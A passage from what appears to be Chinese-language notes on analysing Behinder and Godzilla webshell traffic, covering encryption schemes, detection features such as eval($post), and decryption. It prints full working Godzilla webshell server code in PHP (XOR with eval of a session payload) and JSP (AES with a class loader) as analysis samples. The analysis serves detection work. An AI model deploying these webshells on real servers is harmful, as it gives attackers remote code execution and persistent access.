D/qCqiD25EIkqiSG8csfIibn0XWoybG87Wjalz8w+3jX9n2z0GYj7yA5MzCD0YIEje8X5uhzH2ZBMB6077EqJLt2kqpu3T7K7A+SYj43gUUVYOMWMeN7V5eMKOJnbrTUgrXGguaTfySfOcScZ9twKsephZSCN3Z8gmcIzIQ1IuH8sdfy96d8ols5+UWbisiQvCvTqhibeBZpE9VMIMKpvTVtvEtDkU8PGnzEu0ZNKT/3+Lty7RkgKR00VOByLsYuztsncAyqp0Tp2tRkjJUbr9jb2JURSa3wO2sDMbxghCI4liLPBfsiRTvXoW5ajgSIvV1f1JcX1DwVWsT5HPrTDpJHhwMG80U2ft9t4e/L0nw+TsYlZuiA1i3gswKHpGEz3nelHirBKWSQyxlASjDwaQ6r4dkQbcfEkyol0BMR7nF4Oj07zMUaoyH+BlgY2uU3p6xLP1znbyDbzSAAI9hbx6gOxbl9bwat0T4Uo+WZ2eGQUQCD82fyurjI9U8cUdl7aeDDJbUzrDI/ldmKC9OUWPCUQklSTWCZVMs9z3PIx5PNvoQYwC8SB39xFxgEviQvVy40MV8T5AR+/wLvBproEr4=

    解密后:
    将以上内容进行解码,得到以下内容,发现执行了phpinfo()

  2. 找到对应的shell3.php将密钥取出来就可以对响应的流量进行aes解密

冰蝎 V4

  1. 客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
  2. 服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
  3. 执行结果通过AES加密后返回给攻击者。
  1. 常见特征

  2. 流量特征

    1
    2
    $post=Decrypt(file_get_contents("php://input"));
    eval($post);
  3. 检测思路
    content字段中,将eval($post)作为流量特征纳入

  4. 冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection.Connection: Keep-Alive

  5. 找到webshell后可以相应的找到解密函数,以及加密函数

哥斯拉

PHP_XOR_BASE64加密shell分析

哥斯拉的Shell配置包括基本配置请求配置。其中基本配置主要设置shell地址、密码、密钥、加密器等信息

这里要注意密码密钥的不同:
密码:和蚁剑、菜刀一样,密码就是POST请求中的参数名称。例如,在本例中密码为pass,那么哥斯拉提交的每个请求都是pass=xxxxxxxx这种形式
密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其前16位用于加密过程
哥斯拉shell的请求配置主要用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征

Shell服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
// 启动一个session
@session_start();
@set_time_limit(0);
@error_reporting(0);
// 加密(解密)函数
// 流程: 将加密数据与密钥按位异或,即可加密(解密)得到加密数据(原始数据)
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
// Shell的密码,即POST请求的参数名
$pass='pass';
$payloadName='payload';
// 加/解密的密钥,等于Shell密钥的md5值的前16位
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
// 先解密请求数据
$data=encode(base64_decode($_POST[$pass]),$key);
// 存在名为payload的session,则从session中提取攻击载荷,然后解密请求数据作为操作命令并执行
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
// 如果不存在,则将请求数据解密得到攻击载荷,存入session中
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

shell流量加密过程分析

这里从Shell Setting对话框中的测试连接操作开始分析。在Shell Setting对话框中,设置代理为Burp,然后点击测试连接按钮,可以看到一共会产生3个POST数据包,POST请求报文中参数名都是pass(即shell的连接密码),参数值都是加密数据。

第一次请求:
第1个请求会发送大量数据,该请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是会设置PHPSESSID,后续请求都会自动带上该Cookie。

第二次请求:
可以看到,第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie值,并且第2个请求中只有少量的数据

第3个请求与第2个请求完全一致
哥斯拉解密PHP脚本:https://github.com/think3t/godzilla_decoder

JSP_AES_BASE64加密分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<%!
// 定义了一个类似于预共享密钥
String xc = "3c6e0b8a9c15224a";
// 定义了一个密码
String pass = "pass";
// 将密钥和密码拼接起来后进行md5加密
// 定义了一个class类并且继承动态类加载
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
// 进行AES加密
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
// 进行MD5加密
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
// 进行Base64加密
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
// 通过反射获取方法并且调用
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
byte[].class
}).invoke(Encoder, new Object[] {
bs
});
} catch (Exception e) {
try {
// 通过反射查找BASE64Encoder类
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
// // 通过反射获取方法并且调用
value = (String) Encoder.getClass().getMethod("encode", new Class[] {
byte[].class
}).invoke(Encoder, new Object[] {
bs
});
} catch (Exception e2) {}
}
return value;
}
// 解密函数
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
String.class
}).invoke(decoder, new Object[] {
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
String.class
}).invoke(decoder, new Object[] {
bs
});
} catch (Exception e2) {}
}
return value;
}
%>
<%
try {
// 解密接收到的数据
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
// 判断Payload是否存在,存在则执行
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
// 截取md5加密后的前16位,并写入到response中
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {}
%>

通过 抓包可以得到以下流量,可以发现其实和PHP的差不多,jsp还有一个强特征,那就是测试的这三条数据的大小为长长短

我们进入shell之后,随便抓取一条流量就可以拿到任意一个哥斯拉解密软件中,即可解密,如图: